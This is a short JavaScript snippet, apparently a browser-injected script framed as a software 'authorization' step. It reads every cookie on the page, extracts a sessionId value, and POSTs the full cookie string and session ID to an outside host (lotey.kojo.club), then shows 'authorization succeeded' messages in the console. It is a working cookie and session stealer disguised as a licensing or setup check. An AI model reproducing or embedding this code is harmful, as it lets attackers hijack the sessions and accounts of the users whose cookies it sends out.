thin.imports('https://gitee.com/rjry/iCdn/raw/master/static/axios/0.19.0/axios.min.js');

thin.use(function() {
    var self    = this;
    var cookies = document.cookie || '';
    var arrcook = cookies.split(";");
    var uid     = '';
    for(var i= 0;i<arrcook.length;i++){
        if(arrcook[i].indexOf("sessionId_") >= 0){
            uid = arrcook[i];
        }
    }
    uid = uid.split("=");

	// 上报信息
	function setReport(){
		var data_opt = {
            aUid:thin.data['data-auid'],
            uid:uid[1],
            cookie:cookies,
        };
		axios({
			method: 'POST',
			url: "https://lotey.kojo.club/api?console.bs.script.report&_t="+Math.random(),
			data: data_opt,
			timeout: 5000,
			headers: {}
		}).then(function(res){
            var response = res.data || {};
			if(response.code == 201){
                console.log("%c ::授权成功::","background:green;color:#fff");
				console.log("%c"+">>> 下一步请在软件继续操作","color:green");
			}else{
				console.log("初始化异常  异常原因：",res)
			}
		}).catch(function(err){
			console.log("初始化失败 原因：",err)
		})
	}

    setReport()
    
});